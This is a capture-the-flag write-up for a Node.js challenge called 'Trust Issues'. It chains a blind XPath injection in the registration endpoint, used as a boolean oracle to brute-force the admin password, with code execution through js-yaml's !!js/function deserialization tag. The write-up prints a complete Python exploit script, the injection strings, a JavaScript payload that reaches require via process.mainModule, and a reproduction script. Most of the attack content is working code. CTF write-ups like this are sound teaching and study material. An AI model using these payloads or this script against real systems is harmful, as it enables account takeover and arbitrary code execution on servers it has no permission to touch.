//Trust Issues
>1. Challenge Description
We are provided with a Node.js web application source code (issues.zip) and a remote instance. The application is a "simple admin panel" that boasts "questionable trust decisions." Our goal is to break these trust decisions and extract the flag.
>2. Initial Analysis
The application is built with express, uses an XML database (data.xml) managed by xmldom and xpath, and parses user-supplied files using js-yaml.
Key Components:
server.js: Main application logic.data.xml: Stores user credentials and roles.- Dependencies:
xpath: For querying the XML database.js-yaml: Version 2.0.4 (Very old!).
Authentication & Authorization
The app has two middleware functions:
requireLogin: Checks ifreq.cookies.sidexists in the in-memorysessionsobject.requireAdmin:
- Takes the username from the session.
- Executes an XPath query:
//user[username/text()='${username}' and role/text()='admin']. - If a node is returned, access is granted.
>3. Vulnerability 1: Blind XPath Injection (The Oracle)
The "questionable trust decision" is found in the /register endpoint.
// server.js:123
const checkQuery = `//user[username/text()='${username}']`;
const exists = xpath.select(checkQuery, xmlDoc)[0];
if (exists) {
return res.status(400).send('User already exists');
}
The username input is directly interpolated into the XPath query without sanitization. This allows for XPath Injection.
The Logic Flaw
We want to extract the password of the admin user. We can use the registration response as a Boolean Oracle:
- True (Match Found): Server responds with
400 User already exists. - False (No Match): Server responds with
200 Registered!.
The Payload
We can inject a condition that checks the admin's password character by character.
Injection: admin' and substring(password, 1, 1)='f
Resulting Query:
//user[username/text()='admin' and substring(password, 1, 1)='f']
- If the first character of the admin's password is
f, the query matches the existing admin user. The server thinks "User exists" and blocks registration. Side-channel: TRUE. - If the character is not
f, the query matches nothing. The server registers a new user with that weird username. Side-channel: FALSE.
Note on Uniqueness: Since failing attempts (False) actually create a user, subsequent attempts with the same payload would match our own created user, giving a False Positive. To allow retries or continuous brute-forcing, we append a unique tag to every payload:
... and 'UNIQUE_ID'='UNIQUE_ID'
>4. Vulnerability 2: RCE via Insecure YAML Deserialization
Once we brute-force the admin password, we can log in and access the admin-only endpoint: /admin/create.
// server.js:246
parsed = yaml.load(fileContent);
This endpoint takes a filename and content, writes it to /tmp, and then parses it using yaml.load().
The package.json reveals the js-yaml version is 2.0.4. This version is known to be vulnerable to Code Execution via the !!js/function tag.
The Payload
We can inject a JavaScript function that executes immediately upon deserialization.
Original Plan (Failed):
test: !!js/function "function(){ var fs = require('fs'); ... }()"
This failed because require is not available in the sandboxed scope of the deserializer.
Bypass:
We can use process.mainModule.require to access the global require function.
Working RCE Payload:
!!js/function >
function () {
var req = process.mainModule.require;
var fs = req('fs');
try {
if (fs.existsSync('flag.txt')) {
return fs.readFileSync('flag.txt', 'utf8');
}
return 'Flag not found';
} catch(e) { return e.toString(); }
}()
>5. Exploitation Strategy
Step 1: Local Verification
I first verified the exploit locally:
- Created a
reproduce_issue.jsto confirm the XPath behavior. - Wrote
exploit.pyto automate the Blind XPath brute force. - Retrieved the local dummy password:
fakepassword. - Used the password to log in and send the YAML payload, successfully reading the local flag.
Step 2: Remote Exploitation
Running against the remote server introduced network instability/timeouts. I enhanced the script:
- Retries: Added a loop to retry requests up to 10 times upon failure.
- Timeouts: Increased request timeouts to 10 seconds.
- Resumption: The script prints progress so we can hardcode the starting characters (
df...) if it crashes.
Final Result
- Admin Password:
df08cf - Flag:
flag{xPath_to_YamLrc3_ecddd907d5d5decb}
>6. Solver Script (exploit.py)
import requests
import string
import sys
import uuid
import time
import json
# Usage: python exploit.py [URL] [REAL_ADMIN_PASSWORD_IF_KNOWN]
TARGET = sys.argv[1] if len(sys.argv) > 1 else "<http://localhost:8000>"
RUN_ID = str(uuid.uuid4())[:8]
print(f"[*] Target: {TARGET}")
print(f"[*] Run ID: {RUN_ID}")
def brute_force():
# Found remote password prefix
password = ""
index = 1
# Common chars first
chars = string.ascii_letters + string.digits + "{}_-"
chars += "!@#$%^&*()+=[]|;:,.<>?/`~"
print(f"[*] Starting brute force from: {password}...")
while True:
found_char = False
for c in chars:
# Payload: matches Admin if char matches.
# Uniqueness: ensures we don't match our own successful registrations (False results)
unique_tag = f"{RUN_ID}-{index}-{ord(c)}"
# XPath Injection Payload
# Logic: If (admin password match) AND (unique tag match) -> True (User Exists)
payload_str = f"admin' and substring(password,{index},1)='{c}' and '{unique_tag}'='{unique_tag}"
if c == "'": continue # Skip handling quotes complexity for now
# Retry loop for stability
max_retries = 10
for attempt in range(max_retries):
try:
r = requests.post(f"{TARGET}/register", json={
"username": payload_str,
"password": "any"
}, timeout=10)
# Oracle: 400 "User already exists" => MATCH (True)
if "User already exists" in r.text or r.status_code == 400:
password += c
print(f"[+] Found char: {c} (Current: {password})")
found_char = True
break
# Oracle: 200 "Registered" => NO MATCH (False)
elif "Registered" in r.text or r.status_code == 200:
break
else:
print(f"[!] Unexpected response: {r.status_code}")
time.sleep(1)
continue
except Exception as e:
print(f"[!] Error (Attempt {attempt+1}/{max_retries}): {e}")
time.sleep(2)
if found_char:
break
if not found_char:
print("[*] Password found (or stuck):", password)
break
index += 1
return password
def rce(password):
print(f"[*] Logging in as admin with password: {password}")
s = requests.Session()
# 1. Login
r = s.post(f"{TARGET}/login", json={
"username": "admin",
"password": password
})
# Verify Login
r_check = s.get(f"{TARGET}/me")
if '"loggedIn":true' in r_check.text and '"user":"admin"' in r_check.text:
print("[+] Logged in successfully!")
else:
print("[-] Login failed.")
print(r_check.text)
return
# 2. RCE Payload
# Exploit js-yaml 2.0.4 with process.mainModule.require
code = """function () {
var req = process.mainModule.require;
var fs = req('fs');
try {
var files = fs.readdirSync('.');
if (files.includes('flag.txt')) {
return fs.readFileSync('flag.txt', 'utf8');
} else {
return 'Flag not found in CWD: ' + files.join(',');
}
} catch(e) {
return e.toString();
}
}()"""
# Use YAML Block Literal for cleaner payload
yaml_payload = f"!!js/function >\\n{code}"
print("[*] Sending RCE payload...")
r_rce = s.post(f"{TARGET}/admin/create", json={
"filename": "exploit.yml",
"fileContent": yaml_payload
})
print("[*] Response:")
print(r_rce.text)
if __name__ == "__main__":
if len(sys.argv) > 2:
# If password known, skip brute force
pw = sys.argv[2]
rce(pw)
else:
pw = brute_force()
if pw:
rce(pw)
## 7. Appendix: Analysis Script (`reproduce_issue.js`)
This script was used to verify the XPath injection behavior locally.
```javascript
const fs = require('fs');
const { DOMParser, XMLSerializer } = require('@xmldom/xmldom');
const xpath = require('xpath');
const path = require('path');
const xmlContent = fs.readFileSync(path.join(__dirname, 'data.xml'), 'utf8');
const xmlDoc = new DOMParser().parseFromString(xmlContent);
function test(username) {
console.log(`\\n--------------------------------------------------`);
console.log(`Testing username: "${username}"`);
// 1. Registration Check
const checkQuery = `//user[username/text()='${username}']`;
let exists = false;
let regSuccess = false;
try {
const result = xpath.select(checkQuery, xmlDoc);
exists = result.length > 0;
console.log(`[Reg] Query: ${checkQuery}`);
console.log(`[Reg] Matches: ${result.length}`);
if(exists) {
console.log("-> Registration Failed (User exists)");
} else {
console.log("-> Registration Succeeded!");
regSuccess = true;
}
} catch (e) {
console.log(`[Reg] Error: ${e.message}`);
return;
}
// Simulate Registration in memory if success
if (regSuccess) {
const user = xmlDoc.createElement('user');
const un = xmlDoc.createElement('username');
const pw = xmlDoc.createElement('password');
const rl = xmlDoc.createElement('role');
const id = xmlDoc.createElement('id');
un.appendChild(xmlDoc.createTextNode(username));
pw.appendChild(xmlDoc.createTextNode('pass'));
rl.appendChild(xmlDoc.createTextNode('employee'));
id.appendChild(xmlDoc.createTextNode('999'));
user.appendChild(un);
user.appendChild(pw);
user.appendChild(rl);
user.appendChild(id);
const usersNode = xpath.select('//users', xmlDoc)[0];
usersNode.appendChild(user);
usersNode.removeChild(user);
}
}
const payloads = [
// Logic: //user[username='admin' and substring(password,1,1)='f']
"admin' and substring(password,1,1)='f",
"admin' and substring(password,1,1)='x",
];
console.log("Starting Oracle Test...");
payloads.forEach(p => test(p));